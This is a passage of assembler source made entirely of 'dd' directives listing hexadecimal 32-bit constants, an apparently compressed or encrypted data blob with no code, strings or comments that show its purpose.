0B850560Eh dd 74260222h, 815AFC31h, 8108478Fh, 0F86CE77h, 5F3652FFh dd 520F4083h, 0E907275Eh, 0E0FBCD7Eh, 0E5D647B7h, 332D2003h dd 1FB285B8h, 0C0C50396h, 0EC78A9E0h, 5774C377h, 8A002871h dd 0CD7C39F5h, 3423CFCh, 0ED06476Fh, 97809252h, 1E002877h dd 53E071EFh, 75D11B7h, 0EDCB3520h, 0DDEB9009h, 7B7E296Ah dd 4F5B0600h, 9AF02B31h, 323505A1h, 0BF40543Bh, 1A236F6Bh dd 2C118400h, 9D6E574h, 0D98A90ABh, 0EAB4DEC3h, 4780229Bh dd 74B843F8h, 698C10Bh, 4EEC7830h, 0BB0F1609h, 0C602217Ah dd 1D12BA58h, 0A440557Eh, 5F34DCF5h, 8497E2B2h, 0A3BD6ABDh dd 8B0B1EBCh, 0EA28859Dh, 14F1C15Dh, 32167F38h, 2D69A178h dd 20BB84Fh, 90FCCA4Ch, 90575250h, 3F3F7C3h, 0A1E2D6Dh dd 0B9985D3Ch, 0C00D1DBh, 7F4C0E01h, 40F392Fh, 5A46B331h dd 5D8CBB58h, 44381E65h, 0A0690054h, 7D014D13h, 8307E91Ah dd 0F7EB0968h, 7D907B11h, 0E8BEB8C2h, 81A05A15h, 0A03CD61Dh dd 0E15F9748h, 0C42A0389h, 0AC9AFDD3h, 7B008C1Bh, 36C3EF2h dd 0D3AC9837h, 18C4AA68h, 0C82A9AAFh, 4AEBC01Bh, 0FD09301Fh dd 546FD3D4h, 0E4444036h, 0C2006DE6h, 0E2B09C02h, 25FB2A1Bh dd 71FCFF65h, 5114710Bh, 0BE7CC5C4h, 0A202DB7Bh, 0C9CB8075h dd 0F835E0D7h, 0D9852D89h, 0BE902904h, 0B8C4DC24h, 0A54C8280h dd 1A40256h, 17A91476h, 0FC59F48Bh, 0ECD30300h, 0CA5410h dd 37631970h, 0BFE9E178h, 384AC402h, 0D75B5F65h, 70041E6h dd 0C8368563h, 1EF2097h, 0DC9F6FA6h, 6B905AC6h, 98BB9BC5h dd 7312DF03h, 6809C60Eh, 70C6D4CDh, 3883B590h, 40C131D2h dd 434CC324h, 219D0116h, 6BBF5B84h, 251823B0h, 0E4152B77h dd 7A0B00BFh, 0C0D249ECh, 0A01ACDEh, 62C28D12h, 94708F36h dd 1E90BD89h, 0BF7C905Fh, 72989917h, 0BDA5F9C1h, 0DC7E5CEEh dd 0B529E406h, 16F90E79h, 0A656B6BFh, 0C78009D1h, 0E2385F92h dd 8D1A0B51h, 46991D31h, 0E13C0319h, 1E94EB05h, 0F4E8C0D5h dd 27016B84h, 14BB2276h, 0E62B029Ch, 15E467FFh, 496A1F78h dd 0F213860Fh, 0C55784B2h, 963300ABh, 0FBD675F1h, 0B4044100h dd 0FFECF0D5h, 9EE95BB5h, 819C401h, 4C2D8DAFh, 0A200A441h dd 3FA352A0h, 0DD6E47h, 0F706A9C5h, 91B5897Bh, 0EEA2044Eh dd 0BF3FF38Ch, 6BE52905h, 99A8B016h, 0B5C834C3h, 0C01AE5D7h dd 9D2B70B9h, 0E478C89Fh, 0D3CCA071h, 0A724B5DBh, 0B5B345CAh dd 0F57232BEh, 0BDF12175h, 2A1D18D9h, 88096DE0h, 14860C1h dd 0FB202D2Dh, 0CD24C1h, 0C5B4F4ACh, 0F50541DAh, 5DA0D377h dd 900058EAh, 0DABDECCCh, 0EB8106C7h, 7C2BFAA7h, 27959D16h dd 8BDA39D0h, 0DC7E97D1h, 5D2A0BCBh, 5B7BC90h, 9C26981h dd 0DFDF92F5h, 0B85DD929h, 2DEEB7F7h, 0FBF946E9h, 0E4513190h dd 0F92A2EF5h, 3124994Ch, 0F24BB06Ch, 8EBF80CCh, 0FC03163Ah dd 0FE1AA1A5h, 0BF892B34h, 4C9D80D0h, 5F440A63h, 27CE7162h dd 0DF27B5ECh, 0F413DC27h, 75C5B100h, 21276C42h, 7CE7CBh dd 0A1BD230Bh, 0F357DCE2h, 2619516Ch, 84083EFDh, 0AC97F48Dh dd 997D20EBh, 0C22E5CEDh, 814E25Bh, 0C5185AFh, 0ABCF65BFh dd 9707166Ah, 0F0ECF231h, 8048A038h, 0FC2ADF12h, 0EE020B6h dd 0B2033853h, 19DCC8C5h, 5FA38AB7h, 14BD60BFh, 14F57E16h dd 2FFEF98h, 0D9B531FAh, 0FEE67706h, 5AD402BEh, 4BD18FD7h dd 210CCEC2h, 0F05BDh, 4B0DDC8Ah, 0B4F4F788h, 0C463D0EFh dd 8872631Ch, 0DDFDD44Eh, 4311E884h, 0FF248FD1h, 0F2ADC7A0h dd 40781EB0h, 87FC032h, 0C6B30CACh, 167F4C9Dh, 0A279EF80h dd 5F57B1D7h, 0B16F9DFDh, 75A63EBCh, 0E59ACEF0h, 0F171BC01h dd 0B3B5DD5Eh, 3CD2286Ah, 0F946F88Ah, 0A975B27Bh, 0A235602Fh dd 61001DCCh, 0A7C5FBCAh, 97E1FF91h, 5B16EA74h, 198480A2h dd 0C7810005h, 2B0D7D0h, 627EBF59h, 51D46D0Ch, 97051C50h dd 0DA01103Dh, 2DDAD28h, 0B946286Ah, 6C9E045Bh, 17698F80h dd 1600B7BAh, 0BF8A2C1Fh, 2D2EEC68h, 1FED600Fh, 47A8E4C5h dd 4E73B348h, 2227A306h, 0B36A0107h, 17227A79h, 16486A0Dh dd 8362A968h, 2AD9ECEAh, 0D5CDBCE0h, 679BDF00h, 86D45A8Fh dd 82595B7Ah, 587C5B69h, 5335DF69h, 7F871B91h, 9543300Ah dd 21002C4Ch, 8A5290F5h, 7505FDAh, 714BEDBFh, 0E437B97Ch dd 7127BC81h, 72D8EBCAh, 0AA9926C7h, 131D081Ch, 0D2DBF827h dd 0C8DBEE6Eh, 168047CEh, 0EEA863FCh, 70E30E16h, 18C9E705h dd 3B2539EAh, 955659A0h, 3D0027E4h, 6B2F4154h, 481A60h dd 0AADD8518h, 0C1712CBCh, 0F1A17325h, 65B30BEAh, 0BB104650h dd 0EC964741h, 585AC7CAh, 158DA21Fh, 82385F08h, 252D9D01h dd 0DE627C16h, 0B8CD33BDh, 2EFB8B60h, 619B810Fh, 21F85B5h dd 9E15561h, 5DE90007h, 0D8D39302h, 0CC0911A4h, 0D1579EBAh dd 1DFBAD16h, 8A172B24h, 0E0DE261h, 37E629A7h, 0C30E109Dh dd 777D272Fh, 0C4060E7Fh, 79EA66D3h, 616A3AA6h, 84A42B02h dd 88D7641Bh, 8997C8CFh, 0C8007B7Ah, 0CF1CD0EAh, 9701E1DEh dd 0BF661A13h dd 0D62656E4h, 0FDC58140h, 0C0C4A82Fh, 0CE099B79h, 5B382792h dd 72C4E0F0h, 0F6AE0446h, 0F789E049h, 708B6484h, 1C22AF22h dd 9E50062Ah, 89EB132Dh, 70F7FB14h, 0CD5C8F70h, 18E113EDh dd 3F6099BFh, 4FF78B13h, 0BDE525B0h, 0D68C1E5Fh, 0D90644E8h dd 0A46F2502h, 455FDB08h, 0CABF81F0h, 0A82FC6B2h, 8921D2EEh dd 40D4AA8Bh, 30A0E8F9h, 290021D5h, 0E5E19C09h, 16C06AF1h dd 0EC5FA806h, 585846Ch, 160CBB40h, 1EC93868h, 559BFF8Bh dd 67DFD1E8h, 94A44351h, 16975879h, 0E0A20829h, 4B6AD7h dd 0BE4DFEAFh, 0E5E1664h, 4BCF8114h, 0EB4FFFA5h, 0FAAA6C02h dd 90766490h, 9D5F7810h, 0E8006237h, 0AD011D2Ch, 610E2F3Ch dd 59006444h, 465A9148h, 3D9C1D89h, 0E8017CB5h, 6588056Ch dd 3A9A7AF1h, 64C01CC8h, 1F636F7Ah, 0C94876ADh, 854614Dh dd 755AE641h, 13D432E5h, 4996003Bh, 4D06CFD4h, 0BB02BC56h dd 43D69B8Dh, 7AEF575Bh, 9B631C64h, 844830FAh, 2B01A876h dd 12C88060h, 0B22E958Bh, 35CA4F26h, 765427h, 86F205F6h dd 0AE6EC678h, 1FD1D104h, 2943E906h, 0C0BCED97h, 9030BC6Eh dd 8EBF8D3h, 7CA5A156h, 0BDE075B5h, 95100B45h, 0C478F9D3h dd 4194B507h, 0BADEDA5Eh, 4DE6C4C0h, 0BF048036h, 19EA7A6Ah dd 0A812098Bh, 197ABB04h, 9DBA6501h, 41C4F3C0h, 3F2F7D83h dd 1723926Fh, 1518F880h, 5AA99D29h, 6A70DD1Bh, 4C399621h dd 908F4FCh, 0E8D260Bh, 406A95DFh, 2ABE9BF8h, 98B5F4EEh dd 0B795315Dh, 0BF5052E8h, 0CAD25A0Bh, 5E68291Ah, 800DC8Ch dd 37A974C0h, 4FE7806Eh, 0A032CAB6h, 2486C7Dh, 7243AA2Ah dd 6BD6AB47h, 9FDB8061h, 9B7F934Dh, 85B9CB50h, 35EA79C2h dd 2BDEFA5Dh, 0E635B0C1h, 38356BDCh, 27041F6Fh, 0FB7A4F16h dd 0C627AA2h, 96FF1291h, 0D4EB94CEh, 37F5000h, 0E9D26898h dd 0C5E45A0Eh, 5A82A817h, 51E0CDF6h, 0E8075AFBh, 0A8C7DB57h dd 0E1B501B0h, 0A692B51Bh, 0FFB7DDh, 0FF110954h, 272EB2Bh dd 8A44FB27h, 0FBADA79Ch, 181659E5h, 0E09E02C5h, 1B61BD09h dd 81E0DAD6h, 27F9F7C7h, 15D435AFh, 28A90FF4h, 36E4C292h dd 0EF3D84ECh, 191D6E04h, 558BE117h, 17DEFB9Fh, 9D4700DFh dd 0FE03E50Bh, 0BF063901h, 7BC04666h, 0F9D3756Bh, 505CA8B8h dd 8020BD89h, 9709BB50h, 0AB6F0A69h, 18BD123h, 3F45E57Dh dd 96A23A09h, 0A5B5290Bh, 505FE5A0h, 876E0F60h, 0E38A0331h dd 0DAAFE561h, 0E815CA55h, 505FDC9h, 0CAE5ACF9h, 0B60065E9h dd 68A796A1h, 82AF004Bh, 60BCBED5h, 8E7CCC45h, 6E48900Bh dd 44DD5938h, 8AF5335h, 960B3105h, 6FDCDC50h, 0E316A612h dd 1C99E0AFh, 9D890B26h, 46141915h, 0D9FE90B5h, 2CB3002Fh dd 8FE1663Eh, 810276B4h, 67EEF362h, 0E9BED6A8h, 6140CF4Dh dd 257C29FAh, 0E05CE44Dh, 9D98B80h, 971EFD8Dh, 1879165Bh dd 0E3396618h, 0DB0A3B88h, 1DB1DE81h, 0C1E0756Bh, 6B4CBECBh dd 8898E028h, 0BE126660h, 0B188FD8Eh, 0F3610004h, 8DAA9417h dd 0CB00E14Ah, 78FB3F67h, 4A3652E5h, 0EE638861h, 842E2400h dd 63C6E795h, 73C300FAh, 4FC9308Bh, 0F0252D77h, 0D661D494h dd 9A001A46h, 27B17351h, 8B26FDACh, 5E2D66DFh, 0EDC69787h dd 0ED1ECCEh, 36E594E8h, 0CB81009Eh, 1EAAF349h, 0FEDA8B27h dd 0E3301609h, 0A9BFC13Fh, 35205BCBh, 0A9F24B32h, 2FDA3967h dd 7A637BC1h, 5DE7CAD5h, 0BF2A388h, 1675168Dh, 62359755h dd 73CE701Ch, 0C0E43460h, 76A3FBE8h, 938A00B6h, 38CF26ADh dd 5B009EEEh, 70D7694Fh, 18BF66CCh, 9261E4A4h, 0BC832A15h dd 942CF6C0h, 906825D3h, 1A0116F1h, 13922BC8h, 0FA500838h dd 200D4582h, 0C848964h, 588A3FB8h, 9959050h, 6279FE6Eh dd 64D72350h, 6A5F2B36h, 37A7D0F9h, 0F0622C02h, 78FF9D13h dd 0E6125B58h, 391E03AEh, 98A23A66h, 90FC5Dh, 0FB549F37h dd 0CF80C47Fh, 252B4758h, 92CEDCB5h, 439BFF6Ah, 0E4793580h dd 313F0AC5h, 8A3203CFh, 0E2D022BFh, 9BF9826Ch, 886274C6h dd 37A5431Fh, 0ADBE00BEh, 0FAC19E3h, 6581984Eh, 31DC34B7h dd 0E53B551h, 39C60634h, 4616902h, 524882D5h, 0D6D48948h dd 0DB7B2FCBh, 22181651h, 43418B2Fh, 0FC4227EDh, 0E8F74046h dd 5902B786h, 678F51BBh, 0EB217470h, 0A040E44Dh, 2B1A1EBh dd 3C903B05h, 662B483h, 0D5E020CDh, 1C9E21Eh, 89AD7C09h dd 328D0F4Ah, 61A25BAAh, 0D810C000h, 0D6C40807h, 0E0A0B451h dd 149DF85Fh, 0F24A4347h, 2EB63018h, 0CA054610h, 12DB5228h dd 835BCCEAh, 7FC7905Bh, 507DB2C3h, 0F381B0BFh, 78BB4C29h dd 0DA083116h, 0E1E3250Eh, 0E2E9048Ch, 0A5FB38EBh, 7A30C641h dd 7A3BE99Dh, 84C80021h, 0FD33E4FFh, 0CD145E65h, 3D0A69Ah dd 38A75B13h, 0A6B0DE46h, 0A4028C34h, 0EB5D0F17h, 498A4ACCh dd 0BA213141h, 8625FBF9h, 6DB779A7h, 0C740B29Ch, 0A362D159h dd 0BD89098Fh, 2CD230E5h, 14A19F31h, 0BA050D7Dh, 1689079Bh dd 70407530h, 4D94FF4Eh, 0C27FDEBAh, 0DD22429Bh, 8951E74Ch dd 79E2371h, 2600347h, 40A95C12h, 97321ECh, 17C52B01h dd 49E19A85h, 0BD755BE4h, 960E0049h, 0AF98D0A6h, 0D888295Fh dd 0F8EB0581h, 0C1661743h, 771D89B7h, 0D8F8B5EAh, 0EB32007Ch dd 0D47B91CBh, 319D5F52h, 0C114FE5Fh, 2317926h, 2045F8B0h dd 0E62F13A5h, 5E2FC270h, 0E3810257h, 58740861h, 0C74BDC91h dd 128C924Fh, 0DF8046F3h, 10CED787h, 0D96CC466h, 0DC5B0B20h dd 845C752h, 8A0C422Ch, 27F76EDDh, 4E42C33Fh, 6302D266h dd 0A767039Ch, 3E64DD5Fh, 9023B920h, 0CDC69D50h, 0C82BF917h dd 1E9DC021h, 10D1679Bh, 768822CDh, 358FBF20h, 8B250AC6h dd 2F510885h, 94AC057Eh, 0BB000A37h, 5EBE1EB8h, 5040E75Dh dd 184EB588h, 444C098h, 22DA0CF4h, 82A3AA37h, 34D0E93Ch dd 3FF628Dh, 655DD98Ah, 8957092Fh, 0F7DB6AF5h, 1907ECC2h dd 0DD85E1FEh, 0EAD47A26h, 25BD6050h, 0FE385F07h, 7F984078h dd 52FC502Eh, 6284BB9Eh, 0F6EB4342h, 77A6A485h, 7A974200h dd 5DB90CD0h, 128F0F52h, 88AF3279h, 1C5C8EF5h, 4988C8B2h dd 6E0039F9h, 8579F41Fh, 77570164h, 20AEFBC5h, 6159F49Ch dd 0BC11FC4Dh, 308705F2h, 0B6C02BF5h, 43E0E762h, 0BF9109D4h dd 45BA4CC1h, 954C045Fh, 0FE9BBA0Ah, 53DC8A01h, 24B19531h dd 6DBD5B61h, 611544BDh, 0E928A74Eh, 8AE6FD5Ah, 5E2D148Eh dd 0A07F6BB9h, 5B14D813h, 7E52093Dh, 920B5E24h, 2039B2F6h dd 153B721h, 7ED69CACh, 250F4D15h, 0FCC55E72h, 0C439BDF9h dd 910007A8h, 5AB9ABFFh, 9AE06DEh, 958D2945h, 1560EB6Fh dd 1366021Ch, 0A2030F3Dh, 0DE998951h, 0B800F62Fh, 3DBA858Fh dd 4B24283Bh, 0C24AACF0h, 3D16459Dh, 55A58F23h, 3B8EBD98h dd 0BD038309h, 66EC7D39h, 903F9600h, 0D9A02F70h, 9AFD00C6h dd 1F465872h, 0FEB6E1FFh, 0A41003DCh, 0D28DA20Bh, 3A4931E9h dd 5A14AE28h, 806EDE04h, 0B5315FA6h, 8E7BE309h, 53FF3511h dd 792A4601h, 283A12CBh, 27C3B6ACh, 27019D33h, 6284604Dh dd 91FF1332h, 3A0E155Dh, 80F87337h, 0E66D82D7h, 25006A44h dd 5EDB8F2h, 2704846Fh, 7C4BDA49h, 26C452D4h, 0AF4F8FACh dd 0A6844361h, 4E6420C4h, 2A709D40h, 76C12ADAh, 0DCF5A49Dh dd 2E12D2BBh, 7BFE42CEh, 49670170h, 52F3A68Bh, 9B8302Fh dd 0C5FA9B5h, 0B180C0BDh dd 3472FE9Ah, 6C26F800h, 94039B8Bh, 5A4416D6h, 0A8C5C5FBh dd 0D1BE17DCh, 1525A1ECh, 777A81D6h, 918B9BE0h, 6BF3F995h dd 2DD88687h, 5FA83FBBh, 0B8FA1F9Fh, 0FE93523Fh, 5D5AA35Fh dd 0A6C10AAh, 5890B571h, 0B20030CEh, 62A14A4Dh, 72B37DD3h dd 0EB9895FAh, 127BD23h, 9F674E14h, 0E94370F6h, 0F08D4C0Bh dd 7044BB4Fh, 52A96585h, 0A31920ECh, 0AD56DFC5h, 93E3A36Eh dd 8032DAAAh, 5A825259h, 4EF5A09h, 0E8A6A7DDh, 0DCAFDD47h dd 4675696Dh, 0BF5C4A02h, 56F82C34h, 67A53F81h, 774BF0A9h dd 0F8E15900h, 0F324B9CDh, 89A72568h, 4FE2606Dh, 83B98847h dd 6330F725h, 9527B501h, 0A5795B27h, 0EA7072D3h, 0B89B1E42h dd 0C96B029Ch, 3589E920h, 0F69645F6h, 0F0A84F81h, 6F68133Ah dd 51ED0F49h, 0D601E0FCh, 4E23F5AFh, 963A929Dh, 0D340DF5Eh dd 0EDAF0h, 46B9BFD7h, 169385AEh, 110283A1h, 0D8785F50h dd 0F000985Ch, 85299661h, 5B9732D1h, 18157954h, 4A89FE6Ah dd 271A9BDh, 0D092D168h, 0DBB5422Bh, 445F12B2h, 410487E3h dd 5D09BB66h, 4DFB27Eh, 2BCF912Eh, 4E2007F0h, 0B1E8C37h dd 34B79BFh, 0F18A6090h, 18F440Bh, 9D3FF261h, 5FC9D34Dh dd 0D37F8F90h, 352FB090h, 5CE7592Ah, 0EA7D0802h, 0A4F99531h dd 6EBF61E6h, 0F7D700F4h, 270B4792h, 0AAB62556h, 2982F2E5h dd 752F4195h, 344EED9Ch, 29EC62F9h, 52253472h, 43E76F9h dd 452EC19Dh, 411F21E9h, 7508BD09h, 75F2E91Dh, 1C507C53h dd 39CE127Eh, 518C5B6h, 0FF0C09B0h, 0C21D717Bh, 0B74C8477h dd 2E7BE188h, 890BD528h, 2AC5F42Bh, 0F89AF6A7h, 0A57CD97Dh dd 95BBE90h, 0BB3A8E38h, 0E2854A52h, 82D19FFAh, 401ADD75h dd 9751EBCAh, 1559075Bh, 214F6818h, 4B4ADAE0h, 3320CCA2h dd 12B1BD16h, 79FF2DEAh, 0FDF0A979h, 63412C40h, 0B76B0F7Eh dd 0BB963944h, 84F788h, 6CAF55B4h, 0A688B062h, 9707B2E8h dd 0F561AEAAh, 60A4C750h, 0BB36BE66h, 0FE830F13h, 72BFA8CCh dd 9CC498BBh, 0EA131260h, 40C10A2Ch, 0EC45115h, 5B091489h dd 6DE914DCh, 8FF54226h, 7E95DB41h, 965FA34Ch, 0EAC94A87h dd 8E25247Fh, 896CA6D5h, 0CB054BE0h, 6A4AD4h, 30D4901h dd 7A23619Dh, 8B2DCADDh, 0AFC53F9Fh, 75F64A30h, 0BCD814A4h dd 5D6E5F6Ah, 85D5D30Bh, 1F6204F7h, 8BC463BDh, 0A2F3ABDEh dd 2819951Fh, 1E6817Bh, 134BF94Bh, 0ACC6A9EEh, 39008C1Dh dd 0E2D20359h, 5D5F975h, 8D29FA23h, 0F2F794C5h, 9B057EE3h dd 267693E5h, 0F1DD404h, 60965B02h, 3B40075Eh, 138A5450h dd 3D8BE59h, 800FE697h, 77201F48h, 2C0B8826h, 0B81C350h dd 584F0725h, 18DFCC0Bh, 370562Dh, 0B6F5A635h, 744B338Fh dd 5A8B6B9Bh, 0B1407876h, 0B833567h, 829AADFFh, 0EF324DFh dd 69BD0101h, 0B75F1004h, 0F07C9540h, 58ED12FEh, 4B0BAA0Bh dd 6CBDD52Dh, 20BCFE80h, 4B705EDAh, 4A61CACDh, 0A67A0CA1h dd 86A2F761h, 5D58426Ah, 315E366h, 98AF5BDh, 7A99B529h dd 5F5C908Dh, 0B579B88Eh, 0F33BB2CDh, 0B7F24087h, 67BDA25Bh dd 0A67DB9BCh, 0C0C63201h, 0C318942h, 134E726Ch, 234C6E60h dd 8991001Bh, 77A38A66h, 0E6BB2125h, 27564BB6h, 5405806Ch dd 0E817BE69h, 8AE98E9Bh, 33565182h, 5F47D0FEh, 0A07A7919h dd 2FA12FA4h, 22C4E459h, 2E57E157h, 0AC134A34h, 7DC128AEh dd 2AF3FE00h, 0C0B9A123h, 348297FFh, 55E90B3h, 4FB58958h dd 903149E9h, 0B72F20DCh, 71207DFh, 0FBAF1522h, 48D7E384h dd 77ADC164h, 0E80098B8h, 90EF3AA5h, 484ACC0h, 590BBFE3h dd 0B4F3FE28h, 1689571Eh, 7F4BBBD1h, 0A9500290h, 0D47E54E1h dd 8E001A46h, 645665C7h, 6A5AC42Eh, 14CF419Bh, 38B29DE0h dd 719F297Bh, 2695208Eh, 4E040A09h, 1A6995C2h, 9A1014C4h dd 0FB1214D6h, 96D4FB01h, 305EA6ACh, 97C38075h, 2295059h dd 85092404h, 0B70FC6CDh, 95A30F66h, 5BC9BDFCh, 56BCF6EDh dd 8EE11702h, 5DB072A2h, 0E30571F3h, 9AFA41E8h, 0C0C2D14Dh dd 63B7AD8Ah, 81D900B5h, 0F8E81CBBh, 0D15FFF2Ch, 42E020A6h dd 0F74BD776h, 0E921608Ah, 2B1919F9h, 8B179EB8h, 4435BEA1h dd 1D78EEFh, 28B76CF2h, 0A960ED80h, 0A8234F29h, 1BFDD3CDh dd 6E1C2DA8h, 0B3C0854Bh, 0CF80BA3Dh, 0C5049D1Ah, 53F1122Eh dd 7467A17Fh, 360086EEh, 117C2D4Bh, 2E00554h, 0F6997C7h dd 0A742F98Bh, 50E17DCDh, 0FA316A01h, 8001B22Bh, 7AAE3508h dd 118807B1h, 40BC0568h, 0B3E12214h, 8BA33E0Bh, 58B7780h dd 46D6FDD4h, 0F9640414h, 38BA9DE9h, 0D640A414h, 6BBB1466h dd 4172C6DDh, 9994412Ah, 139C2E11h, 127190F8h, 0E03FB1EFh dd 63E2BBBDh, 6A75F9A2h, 3B0F138h, 0B63C7537h, 60CD1881h dd 525CD151h, 96312C85h, 323D02C8h, 5CFEFC90h, 9D5E4BA6h dd 36964AF4h, 3527DE71h, 53FCD41Bh, 18C1EC10h, 0F321AB4Ah dd 0B52A9D2Bh, 0B39A7A31h, 40C116C8h, 792C21F0h, 0BBFF6A00h dd 7CCAFAC4h, 0D52D9BB0h, 0D069532Eh, 380147B9h, 7E6914B6h dd 0C60E371h, 0F22A4A6Dh, 14E86DEh, 0B0DE2DF7h, 5F272C02h dd 8516795Ch, 0C1AAAE25h, 100BDD83h, 882A11BDh, 0E94F71E4h dd 4A122BEFh, 5E1299D3h, 430E2779h, 0DDF0970Dh, 7007DE3Ch dd 371E904Dh, 0C15D7D41h, 95FDD02Bh, 918E12F9h, 0E282BE27h dd 19569035h, 8EBBBAC0h, 5BABAA12h, 0F7B590EFh, 1097E059h dd 31248h, 4B29E37Dh, 667A45DEh, 688F6512h, 0E82EABE1h dd 7EA590C0h, 2F2B0A40h, 0C358FCC8h, 81AA44h, 79B2C6EBh dd 50FBB32h, 596DC42Eh, 0A512F134h, 5712788h, 2A2E923Ch dd 7408EE90h, 0FC5B0418h, 7CB4B861h, 137D8517h, 18FC6ACh dd 0AB0D6525h, 482B48DDh, 55A52FBFh, 0DB811310h, 3167DE09h dd 536416h, 88BF6076h, 0CD90123Fh, 515A6113h, 2DD59505h dd 5CE9D4C8h, 0ABD6943Bh, 0D1AC01D4h, 0FA256494h, 2345D2C4h dd 0C1CBB700h, 0CF32973Eh, 252D5B5Dh, 952C2557h, 0CFAD9424h dd 144FD584h, 7407DCFh, 9149EC29h, 159EB1C3h, 208B2E19h dd 5F86A4Bh, 8D09942Ch, 0A8AC4CC9h, 0D9864D24h, 2EB90021h dd 0CF77A00Fh, 82EB4B55h, 0D58260E7h, 8A012ED1h, 0F3EE61D3h dd 0B9E073A5h, 9D01A60Dh, 0F9C85894h, 9066C02Bh, 0B79EF2F0h dd 58C49A1Ch, 9D018C41h, 0A6820561h, 5EF55060h, 0F8651840h dd 256BB43Fh, 0FC3DF4BAh, 47EF1B5h, 95E59529h, 109FFA5Eh dd 9178D8D3h, 8D298F04h, 0F6AB279Dh, 0B0730E2h, 9E4AEB7h dd 15CC3AB0h, 8F957FE6h, 0C3A450EFh, 99FFD940h, 5992A957h dd 76DB7AD5h, 4B12C650h, 4A136EB1h, 1B805FB8h, 0F63540F1h dd 91D78012h, 0C889CEE2h, 0A755BD7Dh, 2144007Fh, 7B1DE5C5h dd 6570B560h, 5B124120h, 0A93FA961h, 0BE80E469h, 0B780124Fh dd 7CCC5C27h, 0D881C41Ch, 234B61C6h, 0DA4B05CBh, 0E17980D1h dd 3D0C2698h, 5525BF66h, 4C003971h, 448DD497h, 74D3018Bh dd 0FF9B51F2h, 0B8DB39E1h, 66130043h, 7680CB6Ch, 1425EB85h dd 11FDC5F9h, 0BEE04BB3h, 0E01C971Ch, 8E27BB68h, 533D0711h dd 39EB8782h, 0E75C5F50h, 97046B50h, 0B64023CFh, 128478E4h dd 0BB97A5AFh, 2C9CC890h, 0DA7F00D1h, 0FF05FD93h, 0FE7951BFh dd 0A65759B5h, 700D60FAh, 0DC2E4082h, 25003991h, 2BCC080h dd 0AE1009C6h, 0C3CD605Fh, 0A0AF0BC4h, 129F094Ah, 1250FC6Fh dd 138DBA0Dh, 5176A2Eh dd 99D892AEh, 5487B2E8h, 273C601Bh, 0B6E0B4F1h, 18A2AC07h dd 653028FFh, 4B872501h, 6F89C53Dh, 48E116F2h, 0E9A74900h dd 4B4586C9h, 7899D292h, 0C23F6D2Bh, 4AF56A42h, 58854A26h dd 0AC53BFBEh, 9F46EC5Ah, 8EC5B35Eh, 0FA23C0C0h, 0A04CFD48h dd 55750096h, 0CF825986h, 0B503C3E4h, 0F67D7CB9h, 1246B0AEh dd 0E6E75E31h, 3017B26Dh, 0D816A028h, 7BEB5037h, 0DD10E1Eh dd 2B4920CEh, 9D07719Dh, 0CD80FE59h, 19B66879h, 0A09E5E52h dd 49808184h, 0EECC4BEAh, 0B900566Eh, 2201D86Ah, 1617534Ch dd 6BBF0AB7h, 2C172484h, 2E405DC9h, 0E7B48F0Fh, 0DD806084h dd 12BB16BBh, 6541045Ch, 0D3DDBD05h, 0E90B81A8h, 2A3D020Ch dd 0B701A59Fh, 0AFCF73A7h, 54FD307Bh, 0B1072FE7h, 8D9C552Bh dd 7F780520h, 0CC9327BBh, 6225A1D6h, 0E7CD55C4h, 72C18EE0h dd 557D712Dh, 362FD68Dh, 392FFA0Ch, 69557106h, 4F506DDBh dd 0B2F30186h, 0F29B2C3Eh, 1DA7421Eh, 5D5DE2F7h, 1D915B35h dd 72076280h, 0A3006923h, 8F5385Ch, 55A1B531h, 0DA02DE2Eh dd 0ED99FD8Bh, 5FF426DFh, 2C1783ECh, 8471B853h, 504B1F8Dh dd 0D83AB375h, 2781947h, 0BB3D3AE3h, 4409AD59h, 153EAC9h dd 4069EE1Dh, 3F96585Ah, 227BC7B1h, 6F7765AAh, 9836611Dh dd 3F77F865h, 24A44B0Dh, 4E5B43Ch, 0EBC76800h, 92551A25h dd 3EE5F5F9h, 0CA525102h, 2A65E0Eh, 5505E838h, 28DCB954h dd 25EB303Ch, 0E2D12805h, 8614005Ch, 6430B0BAh, 0E2B78750h dd 8939842h, 9DC0058h, 68BA8E89h, 0DE3BFAE4h, 9D500E26h dd 0B3BB602Eh, 9A271EAFh, 0DC43947Bh, 15C013Ah, 0B638D0Dh dd 0A961A1F3h, 84B35D2Ah, 0BD112D95h, 16AFD3FDh, 0BA89BB52h dd 42BD2D2Eh, 4BD4BD38h, 5A3E7EADh, 0EC68E4FFh, 2821890Ch dd 323D8F07h, 4EBE9CF3h, 7756AFAh, 0BC02A23Eh, 0A78BD8F1h dd 7D02B623h, 3E81FA89h, 8955C55Dh, 0BD7D046Ah, 76CE0E9Fh dd 96A49Fh, 5F45E8C9h, 661464BFh, 0B1D75561h, 7A7A0433h dd 28EA387Dh, 0E5B7F5CCh, 1FBB80E5h, 0BF7B32B3h, 720FD4FFh dd 598A7397h, 0A0181Dh, 0E98665F7h, 1F0F09BAh, 16E46F48h dd 7B911DC9h, 9C7B01D9h, 9597F9D9h, 63F40A3h, 1D2DEF3Dh dd 4E77CF5h, 0BC50CA98h, 0C06B80A3h, 386116B1h, 3B048F8Dh dd 0AFD7A00Dh, 2CE54F8Dh, 9681A42Eh, 0D1CE1195h, 28E68C3Eh dd 89245BB7h, 0B8F53199h, 21852980h, 0BB400DF1h, 4B848757h dd 234ECC69h, 5BA5BD4Eh, 0C809DA2Bh, 0B828C01Dh, 4302C463h dd 67F9F7E4h, 21F0418Dh, 0AF98AA14h, 1BF71281h, 6855F1BAh dd 5A078045h, 67415Ch, 19750285h, 0E5D98BEh, 0E2F0D025h dd 6A766067h, 28AB25A4h, 7BA5AC7Bh, 0EC15500Ah, 3BAA7201h dd 0BB1A852Fh, 6A45AF42h, 0D6FB5556h, 51261551h, 0F048F218h dd 0BF4E47EBh, 4A95C7F1h, 8DC4E9F5h, 0E7FD95A1h, 0D69A5E1Bh dd 0AA48EC80h, 3E022379h, 0F5BADCBFh, 8B29C042h, 40D86911h dd 1A7B9A8Bh, 5AD07572h, 58A24B5Fh, 0FBCB403Ch, 20F47F20h dd 895C0162h, 8F1C905Bh, 0EBE82AB9h, 0ED703C1h, 0C46E3B35h dd 1F001923h, 0D5EFE5DFh, 0C7B6A079h, 45404C55h, 2E89352Dh dd 0FBA75B73h, 2E7F514Bh, 0F5645622h, 5FB03EEEh, 0DC2FD527h dd 7F5D7104h, 2E01047Bh, 0F96046EAh, 88A93B89h, 0B8506113h dd 5F368036h, 0BB4A164h, 0FC8AC370h, 88ACD0F4h, 37F52ADEh dd 5ED9AAA0h, 1446D620h, 5B92A528h, 0B9CD1221h, 8C17ACFFh 